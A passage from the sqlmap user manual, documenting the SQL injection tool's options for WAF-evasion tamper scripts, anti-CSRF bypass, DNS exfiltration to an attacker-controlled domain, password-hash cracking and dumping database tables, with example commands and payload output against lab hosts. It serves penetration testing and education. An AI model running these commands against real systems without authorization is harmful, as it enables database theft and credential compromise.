Rather than using all hosts parsed from provided logs with option `-l`, you can specify valid Python regular expression to be used for filtering desired ones.

Example of valid syntax:

```
$ python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"
```

### Avoid your session to be destroyed after too many unsuccessful requests

Options: `--safe-url`, `--safe-post`, `--safe-req` and `--safe-freq`

Sometimes web applications or inspection technology in between destroys the session if a certain number of unsuccessful requests is performed. This might occur during the detection phase of sqlmap or when it exploits any of the blind SQL injection types. Reason why is that the SQL payload does not necessarily returns output and might therefore raise a signal to either the application session management or the inspection technology.

To bypass this limitation set by the target, you can provide any (or combination of) option:

- `--safe-url`: URL address to visit frequently during testing.
- `--safe-post`: HTTP POST data to send to a given safe URL address.
- `--safe-req`: Load and use safe HTTP request from a file.
- `--safe-freq`: Test requests between two visits to a given safe location.

This way, sqlmap will visit every a predefined number of requests a certain *safe* URL without performing any kind of injection against it.

**Turn off URL encoding of parameter values**
Switch: `--skip-urlencode`
Depending on parameter placement (e.g. GET) its value could be URL encoded by default. In some cases, back-end web servers do not follow RFC standards and require values to be send in their raw non-encoded form. Use `--skip-urlencode` in those kind of cases.

**Bypass anti-CSRF protection**
Options: `--csrf-token` and `--csrf-url`
Lots of sites incorporate anti-CSRF protection in form of tokens, hidden field values that are randomly set during each page response. sqlmap will automatically try to recognize and bypass that kind of protection, but there are options `--csrf-token` and `--csrf-url` that can be used to further fine tune it. Option `--csrf-token` can be used to set the name of the hidden value that contains the randomized token. This is useful in cases when web sites use non-standard names for such fields. Option `--csrf-url` can be used for retrieval of the token value from arbitrary URL address. This is useful if the vulnerable target URL doesn't contain the necessary token value in the first place, but it is required to extract it from some other location.

**Force usage of SSL/HTTPS**
Switch: `--force-ssl`
In case that user wants to force usage of SSL/HTTPS requests toward the target, he can use this switch. This can be useful in cases when urls are being collected by using option `--crawl` or when Burp log is being provided with option `-l`.

**Evaluate custom python code during each request**
Option: `--eval`
In case that user wants to change (or add new) parameter values, most probably because of some known dependency, he can provide to sqlmap a custom python code with option `--eval` that will be evaluated just before each request.
For example:
```
$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b9238\
20dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"
```
Each request of such run will re-evaluate value of GET parameter `hash` to contain a fresh MD5 hash digest for current value of parameter `id`.

**Optimization**
These switches can be used to optimize the performance of sqlmap.

**Bundle optimization**
Switch: `-o`
This switch is an alias that implicitly sets the following options and switches:
- `--keep-alive`
- `--null-connection`
- `--threads=3` if not set to a higher value.

Read below for details about each switch.

**Output prediction**
Switch: `--predict-output`
This switch is used in inference algorithm for sequential statistical prediction of characters of value being retrieved. Statistical table with the most promising character values is being built based on items given in `txt/common-outputs.txt` combined with the knowledge of current enumeration used. In case that the value can be found among the common output values, as the process progresses, subsequent character tables are being narrowed more and more. If used in combination with retrieval of common DBMS entities, as with system table names and privileges, speed up is significant. Of course, you can edit the common outputs file according to your needs if, for instance, you notice common patterns in database table names or similar.
Note that this switch is not compatible with `--threads` switch.

**HTTP Keep-Alive**
Switch: `--keep-alive`
This switch instructs sqlmap to use persistent HTTP(s) connections.
Note that this switch is incompatible with `--proxy` switch.

**HTTP NULL connection**
Switch: `--null-connection`
There are special HTTP request types which can be used to retrieve HTTP response's size without getting the HTTP body. This knowledge can be used in blind injection technique to distinguish `True` from `False` responses. When this switch is provided, sqlmap will try to test and exploit two different *NULL connection* techniques: `Range` and `HEAD`. If any of these is supported by the target web server, speed up will come from the obvious saving of used bandwidth.
These techniques are detailed in the white paper Bursting Performances in Blind SQL Injection - Take 2 (Bandwidth).
Note that this switch is incompatible with switch `--text-only`.

**Concurrent HTTP(S) requests**
Option: `--threads`
It is possible to specify the maximum number of concurrent HTTP(S) requests that sqlmap is allowed to do. This feature relies on multi-threading concept and inherits both its pro and its cons.
This features applies to the brute-force switches and when the data fetching is done through any of the blind SQL injection techniques. For the latter case, sqlmap first calculates the length of the query output in a single thread, then starts the multi-threading. Each thread is assigned to retrieve one character of the query output. The thread ends when that character is retrieved - it takes up to 7 HTTP(S) requests with the bisection algorithm implemented in sqlmap.
The maximum number of concurrent requests is set to **10** for performance and site reliability reasons.
Note that this option is not compatible with switch `--predict-output`.

**Injection**
These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts.

**Testable parameter(s)**
Options: `-p`, `--skip` and `--param-exclude`
By default sqlmap tests all GET parameters and POST parameters. When the value of `--level` is >= **2** it tests also HTTP `Cookie` header values. When this value is >= **3** it tests also HTTP `User-Agent` and HTTP `Referer` header value for SQL injections. It is however possible to manually specify a comma-separated list of parameter(s) that you want sqlmap to test. This will bypass the dependence on value of `--level` too.
For instance, to test for GET parameter `id` and for HTTP `User-Agent` only, provide `-p "id,user-agent"`.
In case that user wants to exclude certain parameters from testing, he can use option `--skip`. That is especially useful in cases when you want to use higher value for `--level` and test all available parameters excluding some of HTTP headers normally being tested.
For instance, to skip testing for HTTP header `User-Agent` and HTTP header `Referer` at `--level=5`, provide `--skip="user-agent,referer"`.
There is also a possibility to exclude certain parameters from testing based on a regular expression run on their names. In those kind of cases user can use option `--param-exclude`.
For instance, to skip testing for parameters which contain string `token` or `session` in their names, provide `--param-exclude="token|session"`.

**URI injection point**
There are special cases when injection point is within the URI itself. sqlmap does not perform any automatic test against URI paths, unless manually pointed to. You have to specify these injection points in the command line by appending an asterisk (`*`) (Note: Havij style `%INJECT HERE%` is also supported) after each URI point that you want sqlmap to test for and exploit a SQL injection.

This is particularly useful when, for instance, Apache web server's mod_rewrite module is in use or other similar technologies.
An example of valid command line would be:
```
$ python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"
```

**Arbitrary injection point**
Similar to URI injection point, asterisk (`*`) (Note: Havij style `%INJECT HERE%` is also supported) can also be used to point to the arbitrary injection point inside GET, POST or HTTP headers. Injection point can be specified by marking it inside the GET parameter value(s) provided with option `-u`, POST parameter value(s) provided with option `--data`, HTTP header value(s) provided with options `-H`, `--headers`, `--user-agent`, `--referer` and/or `--cookie`, or at generic place inside HTTP request loaded from file with option `-r`.
An example of valid command line would be:
```
$ python sqlmap.py -u "http://targeturl" --cookie="param1=value1*;param2=value2"
```

**Force the DBMS**
Option: `--dbms`
By default sqlmap automatically detects the web application's back-end database management system. sqlmap fully supports the following database management systems:

- MySQL
- Oracle
- PostgreSQL
- Microsoft SQL Server
- Microsoft Access
- IBM DB2
- SQLite
- Firebird
- Sybase
- SAP MaxDB
- HSQLDB
- Informix

If for any reason sqlmap fails to detect the back-end DBMS once a SQL injection has been identified or if you want to avoid an active fingeprint, you can provide the name of the back-end DBMS yourself (e.g. `postgresql`). For MySQL and Microsoft SQL Server provide them respectively in the form `MySQL <version>` and `Microsoft SQL Server <version>`, where `<version>` is a valid version for the DBMS; for instance `5.0` for MySQL and `2005` for Microsoft SQL Server.
In case you provide `--fingerprint` together with `--dbms`, sqlmap will only perform the extensive fingerprint for the specified database management system only, read below for further details.
Note that this option is **not** mandatory and it is strongly recommended to use it **only if you are absolutely sure** about the back-end database management system. If you do not know it, let sqlmap automatically fingerprint it for you.

**Force the database management system operating system name**
Option: `--os`
By default sqlmap automatically detects the web application's back-end database management system underlying operating system when this information is a dependence of any other provided switch or option. At the moment the fully supported operating systems are:

- Linux
- Windows

It is possible to force the operating system name if you already know it so that sqlmap will avoid doing it itself.
Note that this option is **not** mandatory and it is strongly recommended to use it **only if you are absolutely sure** about the back-end database management system underlying operating system. If you do not know it, let sqlmap automatically identify it for you.

**Force usage of big numbers for invalidating values**
Switch: `--invalid-bignum`
In cases when sqlmap needs to invalidate original parameter value (e.g. `id=13`) it uses classical negation (e.g. `id=-13`). With this switch it is possible to force the usage of large integer values to fulfill the same goal (e.g. `id=99999999`).

**Force usage of logical operations for invalidating values**
Switch: `--invalid-logical`
In cases when sqlmap needs to invalidate original parameter value (e.g. `id=13`) it uses classical negation (e.g. `id=-13`). With this switch it is possible to force the usage of boolean operations to fulfill the same goal (e.g. `id=13 AND 18=19`).

**Force usage of random strings for invalidating values**
Switch: `--invalid-string`
In cases when sqlmap needs to invalidate original parameter value (e.g. `id=13`) it uses classical negation (e.g. `id=-13`). With this switch it is possible to force the usage of random strings to fulfill the same goal (e.g. `id=akewmc`).

**Turn off payload casting mechanism**
Switch: `--no-cast`
When retrieving results, sqlmap uses a mechanism where all entries are being casted to string type and replaced with a whitespace character in case of `NULL` values. That is being made to prevent any erroneous states (e.g. concatenation of `NULL` values with string values) and to easy the data retrieval process itself. Nevertheless, there are reported cases (e.g. older versions of MySQL DBMS) where this mechanism needed to be turned-off (using this switch) because of problems with data retrieval itself (e.g. `None` values are returned back).

**Turn off string escaping mechanism**
Switch: `--no-escape`
In cases when sqlmap needs to use (single-quote delimited) string values inside payloads (e.g. `SELECT 'foobar'`), those values are automatically being escaped (e.g. `SELECT CHAR(102)+CHAR(111)+CHAR(111)+CHAR(98)+CHAR(97)+CHAR(114)`). That is being done because of two things: obfuscation of payload content and preventing potential problems with query escaping mechanisms (e.g. `magic_quotes` and/or `mysql_real_escape_string`) at the back-end server. User can use this switch to turn it off (e.g. to reduce payload size).

**Custom injection payload**
Options: `--prefix` and `--suffix`
In some circumstances the vulnerable parameter is exploitable only if the user provides a specific suffix to be appended to the injection payload. Another scenario where these options come handy presents itself when the user already knows that query syntax and want to detect and exploit the SQL injection by directly providing a injection payload prefix and suffix.
Example of vulnerable source code:
```
$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";
```
To detect and exploit this SQL injection, you can either let sqlmap detect the **boundaries** (as in combination of SQL payload prefix and suffix) for you during the detection phase, or provide them on your own.
For example:
```
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php\
?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"
[...]
```
This will result in all sqlmap requests to end up in a query as follows:
```
$query = "SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT
0, 1";
```
Which makes the query syntactically correct.
In this simple example, sqlmap could detect the SQL injection and exploit it without need to provide custom boundaries, but sometimes in real world application it is necessary to provide it when the injection point is within nested `JOIN` queries for instance.

**Tamper injection data**
Option: `--tamper`
sqlmap itself does no obfuscation of the payload sent, except for strings between single quotes replaced by their `CHAR()`-alike representation.
This option can be very useful and powerful in situations where there is a weak input validation mechanism between you and the back-end database management system. This mechanism usually is a self-developed input validation routine called by the application source code, an expensive enterprise-grade IPS appliance

or a web application firewall (WAF). All buzzwords to define the same concept, implemented in a different way and costing lots of money, usually.
To take advantage of this option, provide sqlmap with a comma-separated list of tamper scripts and this will process the payload and return it transformed. You can define your own tamper scripts, use sqlmap ones from the `tamper/` folder or edit them as long as you concatenate them comma-separated as value of the option `--tamper` (e.g. `--tamper="between,randomcase"`).
The format of a valid tamper script is as follows:

```
# Needed imports
from lib.core.enums import PRIORITY

# Define which is the order of application of tamper scripts against
# the payload
__priority__ = PRIORITY.NORMAL

def tamper(payload):
    '''
    Description of your tamper script
    '''

    retVal = payload

    # your code to tamper the original payload

    # return the tampered payload
    return retVal
```

You can check valid and usable tamper scripts in the `tamper/` directory.
Example against a MySQL target assuming that > character, spaces and capital `SELECT` string are banned:

```
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --\
tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

[hh:mm:03] [DEBUG] cleaning up configuration parameters
[hh:mm:03] [INFO] loading tamper script 'between'
[hh:mm:03] [INFO] loading tamper script 'randomcase'
[hh:mm:03] [INFO] loading tamper script 'space2comment'
[...]
[hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092
[hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057
[hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041
[...]
[hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONC
AT(cHar(58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/
**/elsE/**/0/**/ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/info
rmation_schema.tables/**/group/**/bY/**/x)a)
[hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or
 HAVING clause' injectable
[...]
```

## Detection
These options can be used to customize the detection phase.

### Level
Option: `--level`
This option requires an argument which specifies the level of tests to perform. There are **five** levels. The default value is **1** where limited number of tests (requests) are performed. Vice versa, level **5** will test verbosely for a much larger number of payloads and boundaries (as in pair of SQL payload prefix and suffix). The payloads used by sqlmap are specified in the textual file `xml/payloads.xml`. Following the instructions on top of the file, if sqlmap misses an injection, you should be able to add your own payload(s) to test for too!
Not only this option affects which payload sqlmap tries, but also which injection points are taken in exam: GET and POST parameters are **always** tested, HTTP Cookie header values are tested from level **2** and HTTP User-Agent/Referer headers' value is tested from level **3**.
All in all, the harder it is to detect a SQL injection, the higher the `--level` must be set.
It is strongly recommended to higher this value before reporting to the mailing list that sqlmap is not able to detect a certain injection point.

### Risk
Option: `--risk`
This option requires an argument which specifies the risk of tests to perform. There are **three** risk values. The default value is **1** which is innocuous for the majority of SQL injection points. Risk value 2 adds to the default level the tests for heavy query time-based SQL injections and value 3 adds also `OR`-based SQL injection tests.
In some instances, like a SQL injection in an `UPDATE` statement, injecting an `OR`-based payload can lead to an update of all the entries of the table, which is certainly not what the attacker wants. For this reason and others this option has been introduced: the user has control over which payloads get tested, the user can arbitrarily choose to use also potentially dangerous ones. As per the previous option, the payloads used by sqlmap are specified in the textual file `xml/payloads.xml` and you are free to edit and add your owns.

### Page comparison
Options: `--string`, `--not-string`, `--regexp` and `--code`
By default the distinction of a `True` query from a `False` one (rough concept behind boolean-based blind SQL injection vulnerabilities) is done by comparing the injected requests page content with the original not injected page content. Not always this concept works because sometimes the page content changes at each refresh even not injecting anything, for instance when the page has a counter, a dynamic advertisement banner or any other part of the HTML which is rendered dynamically and might change in time not only consequently to user's input. To bypass this limit, sqlmap tries hard to identify these snippets of the response bodies and deal accordingly. Sometimes it may fail, that is why the user can provide a string (`--string` option) which **should** be present on original page (though it is not a requirement) **and** on all True injected query pages, but that it is **not** on the False ones. Instead of static string, the user can provide a regular expression (`--regexp` option). Alternatively, user can provide a string (`--not-string` option) which is **not** present on original page **and** not on all True injected query pages, but appears **always** on False ones.
Such data is easy for an user to retrieve, simply try to inject into the affected parameter an invalid value and compare manually the original (not injected) page content with the injected wrong page content. This way the distinction will be based upon string presence or regular expression match.
In cases when user knows that the distinction of a `True` query from a `False` one can be done using HTTP code (e.g. `200` for `True` and `401` for `False`), he can provide that information to sqlmap (e.g. `--code=200`).
Switches: `--text-only` and `--titles`
In cases when user knows that the distinction of a `True` query from a `False` one can be done using HTML title (e.g. `Welcome` for `True` and `Forbidden` for `False`), he can turn turn on title-based comparison using switch `--titles`.
In cases with lot of active content (e.g. scripts, embeds, etc.) in the HTTP responses' body, you can filter pages (switch `--text-only`) just for their textual content. This way, in a good number of cases, you can automatically tune the detection engine.

## Techniques
These options can be used to tweak testing of specific SQL injection techniques.

### SQL injection techniques to test for
Option: `--technique`
This option can be used to specify which SQL injection type to test for. By default sqlmap tests for **all** types/techniques it supports.
In certain situations you may want to test only for one or few specific types of SQL injection thought and this is where this option comes into play.
This option requires an argument. Such argument is a string composed by any combination of `B`, `E`, `U`, `S`, `T` and `Q` characters where each letter stands for a different technique:

- `B`: Boolean-based blind
- `E`: Error-based
- `U`: Union query-based

- S: Stacked queries
- T: Time-based blind
- Q: Inline queries

For instance, you can provide `ES` if you want to test for and exploit error-based and stacked queries SQL injection types only. The default value is `BEUSTQ`.
Note that the string must include stacked queries technique letter, `S`, when you want to access the file system, takeover the operating system or access Windows registry hives.

**Seconds to delay the DBMS response for time-based blind SQL injection**
Option: `--time-sec`
It is possible to set the seconds to delay the response when testing for time-based blind SQL injection, by providing the `--time-sec` option followed by an integer. By default it's value is set to **5 seconds**.

**Number of columns in UNION query SQL injection**
Option: `--union-cols`
By default sqlmap tests for UNION query SQL injection technique using 1 to 10 columns. However, this range can be increased up to 50 columns by providing an higher `--level` value. See the relevant paragraph for more details.
You can manually tell sqlmap to test for this type of SQL injection with a specific range of columns by providing the tool with the option `--union-cols` followed by a range of integers. For instance, `12-16` means tests for UNION query SQL injection by using 12 up to 16 columns.

**Character to use to test for UNION query SQL injection**
Option: `--union-char`
By default sqlmap tests for UNION query SQL injection technique using `NULL` character. However, by providing a higher `--level` value sqlmap will performs tests also with a random number because there are some corner cases where UNION query tests with `NULL` fail, whereas with a random integer they succeed.
You can manually tell sqlmap to test for this type of SQL injection with a specific character by using option `--union-char` with desired character value (e.g. `--union-char 123`).

**Table to use in FROM part of UNION query SQL injection**
Option: `--union-from`
In some UNION query SQL injection cases there is a need to enforce the usage of valid and accessible table name in `FROM` clause. For example, Microsoft Access requires usage of such table. Without providing one UNION query SQL injection won't be able to perform correctly (e.g. `--union-from=users`).

**DNS exfiltration attack**
Option: `--dns-domain`
DNS exfiltration SQL injection attack is described in paper Data Retrieval over DNS in SQL Injection Attacks, while presentation of it's implementation inside sqlmap can be found in slides DNS exfiltration using sqlmap.
If user is controlling a machine registered as a DNS domain server (e.g. domain `attacker.com`) he can turn on this attack by using this option (e.g. `--dns-domain attacker.com`). Prerequisites for it to work is to run a sqlmap with `Administrator` privileges (usage of privileged port `53`) and that one normal (blind) technique is available for exploitation. That's solely the purpose of this attack is to speed up the process of data retrieval in case that at least one technique has been identified (in best case time-based blind). In case that error-based blind or UNION query techniques are available it will be skipped as those are preferred ones by default.

**Second-order attack**
Option: `--second-order`
Second-order SQL injection attack is an attack where result(s) of an injected payload in one vulnerable page is shown (reflected) at the other (e.g. frame). Usually that's happening because of database storage of user provided input at the original vulnerable page.
You can manually tell sqlmap to test for this type of SQL injection by using option `--second-order` with the URL address of the web page where results are being shown.

**Fingerprint**

**Extensive database management system fingerprint**

Switches: `-f` or `--fingerprint`
By default the web application's back-end database management system fingerprint is handled automatically by sqlmap. Just after the detection phase finishes and the user is eventually prompted with a choice of which vulnerable parameter to use further on, sqlmap fingerprints the back-end database management system and continues on with the injection by knowing which SQL syntax, dialect and queries to use to proceed with the attack within the limits of the database architecture.
If for any instance you want to perform an extensive database management system fingerprint based on various techniques like specific SQL dialects and inband error messages, you can provide the switch `--fingerprint`. sqlmap will perform a lot more requests and fingerprint the exact DBMS version and, where possible, operating system, architecture and patch level.
If you want the fingerprint to be even more accurate result, you can also provide the switch `-b` or `--banner`.

**Enumeration**
These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements.

**Retrieve all**
Switch: `--all`
This switch can be used in situations where user wants to retrieve everything remotely accessible by using a single switch. This is not recommended as it will generate large number of requests retrieving both useful and unuseful data.

**Banner**
Switch: `-b` or `--banner`
Most of the modern database management systems have a function and/or an environment variable which returns the database management system version and eventually details on its patch level, the underlying system. Usually the function is `version()` and the environment variable is `@@version`, but this vary depending on the target DBMS.
Example against an Oracle target:

```
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" -\
-banner

[...]
[xx:xx:11] [INFO] fetching banner
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner:    'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
```

**Session user**
Switch: `--current-user`
With this switch it is possible to retrieve the database management system's user which is effectively performing the query against the back-end DBMS from the web application.

**Current database**
Switch: `--current-db`
With this switch it is possible to retrieve the database management system's database name that the web application is connected to.

**Server hostname**
Switch: `--hostname`
With this switch it is possible to retrieve the database management system's hostname.
Example against a MySQL target:

```
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --\
hostname

[...]
[xx:xx:04] [INFO] fetching server hostname
[xx:xx:04] [INFO] retrieved: debian-5.0-i386
hostname:    'debian-5.0-i386'
```

**Detect whether or not the session user is a database administrator**
Switch: `--is-dba`
It is possible to detect if the current database management system session user is a database administrator, also known as DBA. sqlmap will return `True` if it is, vice versa `False`.

**List database management system users**
Switch: `--users`
When the session user has read access to the system table containing information about the DBMS users, it is possible to enumerate the list of users.

**List and crack database management system users password hashes**
Switch: `--passwords`
When the session user has read access to the system table containing information about the DBMS users' passwords, it is possible to enumerate the password hashes for each database management system user. sqlmap will first enumerate the users, then the different password hashes for each of them.
Example against a PostgreSQL target:

```
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --\
passwords -v 1

[...]
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]
[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:
    password hash: md5d7d880f96044b72d0bba108ace96d1e4
    clear-text password: testpass
[*] testuser [1]:
    password hash: md599e5ea7a6f7c3269995cba3927fd0093
    clear-text password: testpass
```

Not only sqlmap enumerated the DBMS users and their passwords, but it also recognized the hash format to be PostgreSQL, asked the user whether or not to test the hashes against a dictionary file and identified the clear-text password for the `postgres` user, which is usually a DBA along the other user, `testuser`, password.
This feature has been implemented for all DBMS where it is possible to enumerate users' password hashes, including Oracle and Microsoft SQL Server pre and post 2005.
You can also provide the option `-U` to specify the specific user who you want to enumerate and eventually crack the password hash(es). If you provide `CU` as username it will consider it as an alias for current user and will retrieve the password hash(es) for this user.

**List database management system users privileges**
Switch: `--privileges`
When the session user has read access to the system table containing information about the DBMS users, it is possible to enumerate the privileges for each database management system user. By the privileges, sqlmap will also show you which are database administrators.
You can also provide the option `-U` to specify the user who you want to enumerate the privileges.
If you provide `CU` as username it will consider it as an alias for current user and will enumerate the privileges for this user.
On Microsoft SQL Server, this feature will display you whether or not each user is a database administrator rather than the list of privileges for all users.

**List database management system users roles**
Switch: `--roles`
When the session user has read access to the system table containing information about the DBMS users, it is possible to enumerate the roles for each database management system user.
You can also provide the option `-U` to specify the user who you want to enumerate the privileges.
If you provide `CU` as username it will consider it as an alias for current user and will enumerate the privileges for this user.
This feature is only available when the DBMS is Oracle.

**List database management system's databases**
Switch: `--dbs`
When the session user has read access to the system table containing information about available databases, it is possible to enumerate the list of databases.

**Enumerate database's tables**
Switches and option: `--tables`, `--exclude-sysdbs` and `-D`
When the session user has read access to the system table containing information about databases' tables, it is possible to enumerate the list of tables for a specific database management system's databases.
If you do not provide a specific database with option `-D`, sqlmap will enumerate the tables for all DBMS databases.
You can also provide the switch `--exclude-sysdbs` to exclude all system databases.
Note that on Oracle you have to provide the `TABLESPACE_NAME` instead of the database name.

**Enumerate database table columns**
Switch and options: `--columns`, `-C`, `-T` and `-D`
When the session user has read access to the system table containing information about database's tables, it is possible to enumerate the list of columns for a specific database table. sqlmap also enumerates the data-type for each column.
This feature depends on option `-T` to specify the table name and optionally on `-D` to specify the database name. When the database name is not specified, the current database name is used. You can also provide the `-C` option to specify the table columns name like the one you provided to be enumerated.
Example against a SQLite target:

```
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" -\
-columns -D testdb -T users -C name
[...]
Database: SQLite_masterdb
Table: users
[3 columns]
+---------+---------+
| Column  | Type    |
+---------+---------+
| id      | INTEGER |
| name    | TEXT    |
| surname | TEXT    |
+---------+---------+
```

Note that on PostgreSQL you have to provide `public` or the name of a system database. That's because it is not possible to enumerate other databases tables, only the tables under the schema that the web application's user is connected to, which is always aliased by `public`.

**Enumerate database management system schema**
Switches: `--schema` and `--exclude-sysdbs`
User can retrieve a DBMS schema by using this switch. Schema listing will contain all databases, tables and columns, together with their respective types. In combination with `--exclude-sysdbs` only part of the schema containing non-system databases will be retrieved and shown.
Example against a MySQL target:

```
$ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --s\
chema--batch --exclude-sysdbs

[...]
Database: owasp10
Table: accounts
[4 columns]
+-------------+---------+
| Column      | Type    |
+-------------+---------+
| cid         | int(11) |
| mysignature | text     |
| password    | text     |
| username    | text     |
+-------------+----------+

Database: owasp10
Table: blogs_table
[4 columns]
+--------------+----------+
| Column       | Type     |
+--------------+----------+
| date         | datetime |
| blogger_name | text     |
| cid          | int(11)  |
| comment      | text     |
+--------------+----------+

Database: owasp10
Table: hitlog
[6 columns]
+----------+----------+
| Column   | Type     |
+----------+----------+
| date     | datetime |
| browser  | text     |
| cid      | int(11)  |
| hostname | text     |
| ip       | text     |
| referer  | text     |
+----------+----------+

Database: testdb
Table: users
[3 columns]
+---------+---------------+
| Column  | Type          |
+---------+---------------+
| id      | int(11)       |
| name    | varchar(500)  |
| surname | varchar(1000) |
+---------+---------------+
[...]
```

**Retrieve number of entries for table(s)**
Switch: `--count`
In case that user wants just to know the number of entries in table(s) prior to dumping the desired one, he can use this switch.
Example against a Microsoft SQL Server target:

```
$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"\
 --count -D testdb
[...]
Database: testdb
+----------------+---------+
| Table          | Entries |
+----------------+---------+
| dbo.users      | 4       |
| dbo.users_blob | 2       |
+----------------+---------+
```

**Dump database table entries**
Switch and options: `--dump`, `-C`, `-T`, `-D`, `--start`, `--stop`, `--first`, `--last`, `--pivot-column` and `--where`
When the session user has read access to a specific database's table it is possible to dump the table entries.

This functionality depends on option `-T` to specify the table name and optionally on option `-D` to specify the database name. If the table name is provided, but the database name is not, the current database name is used.
Example against a Firebird target:

```
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1"\
 --dump -T users
[...]
Database: Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
| ID | NAME   | SURNAME    |
+----+--------+------------+
| 1  | luther | blisset    |
| 2  | fluffy | bunny      |
| 3  | wu     | ming       |
| 4  | NULL   | nameisnull |
+----+--------+------------+
```

This switch can also be used to dump all tables' entries of a provided database. You simply have to provide sqlmap with the switch `--dump` along with only the option `-D` (no `-T` and no `-C`).
You can also provide a comma-separated list of the specific columns to dump with the option `-C`.
sqlmap also generates for each table dumped the entries in a CSV format textual file. You can see the absolute path where sqlmap creates the file by providing a verbosity level greater than or equal to **1**.
If you want to dump only a range of entries, then you can provide options `--start` and/or `--stop` to respectively start to dump from a certain entry and stop the dump at a certain entry. For instance, if you want to dump only the first entry, provide `--stop 1` in your command line. Vice versa if, for instance, you want to dump only the second and third entry, provide `--start 1 --stop 3`.
It is also possible to specify which single character or range of characters to dump with options `--first` and `--last`. For instance, if you want to dump columns' entries from the third to the fifth character, provide `--first 3 --last 5`. This feature only applies to the blind SQL injection techniques because for error-based and UNION query SQL injection techniques the number of requests is exactly the same, regardless of the length of the column's entry output to dump.
Sometimes (e.g. for Microsoft SQL Server, Sybase and SAP MaxDB) it is not possible to dump the table rows straightforward by using `OFFSET m, n` mechanism because of lack of similar. In such cases sqlmap dumps the content by determining the most suitable `pivot` column (the one with most unique values) whose values are used later on for retrieval of other column values. If it is necessary to enforce the usage of particular `pivot` column because the automatically chosen one is not suitable (e.g. because of lack of table dump results) you can use option `--pivot-column` (e.g. `--pivot-column=id`).
In case that you want to constraint the dump to specific column values (or ranges) you can use option `--where`. Provided logical operation will be automatically used inside the `WHERE` clause. For example, if you use `--where="id>3"` only table rows having value of column `id` greater than 3 will be retrieved (by appending `WHERE id>3` to used dumping queries).
As you may have noticed by now, sqlmap is **flexible**: you can leave it to automatically dump the whole database table or you can be very precise in which characters to dump, from which columns and which range of entries.

**Dump all databases tables entries**
Switches: `--dump-all` and `--exclude-sysdbs`
It is possible to dump all databases tables entries at once that the session user has read access on.
You can also provide the switch `--exclude-sysdbs` to exclude all system databases. In that case sqlmap will only dump entries of users' databases tables.
Note that on Microsoft SQL Server the `master` database is not considered a system database because some database administrators use it as a users' database.

**Search for columns, tables or databases**
Switch and options: `--search`, `-C`, `-T`, `-D`
This switch allows you to **search for specific database names, specific tables across all databases or specific columns across all databases' tables**.
This is useful, for instance, to identify tables containing custom application credentials where relevant columns' names contain string like *name* and *pass*.
Switch `--search` needs to be used in conjunction with one of the following support options:

- `-C` following a list of comma-separated column names to look for across the whole database management system.
- `-T` following a list of comma-separated table names to look for across the whole database management system.
- `-D` following a list of comma-separated database names to look for across the database management system.

**Run custom SQL statement**

Option and switch: `--sql-query` and `--sql-shell`

The SQL query and the SQL shell features allow to run arbitrary SQL statements on the database management system. sqlmap automatically dissects the provided statement, determines which technique is appropriate to use to inject it and how to pack the SQL payload accordingly.

If the query is a `SELECT` statement, sqlmap will retrieve its output. Otherwise it will execute the query through the stacked query SQL injection technique if the web application supports multiple statements on the back-end database management system. Beware that some web application technologies do not support stacked queries on specific database management systems. For instance, PHP does not support stacked queries when the back-end DBMS is MySQL, but it does support when the back-end DBMS is PostgreSQL.

Examples against a Microsoft SQL Server 2000 target:

```
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --\
sql-query "SELECT 'foo'" -v 1

[...]
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] retrieved: foo
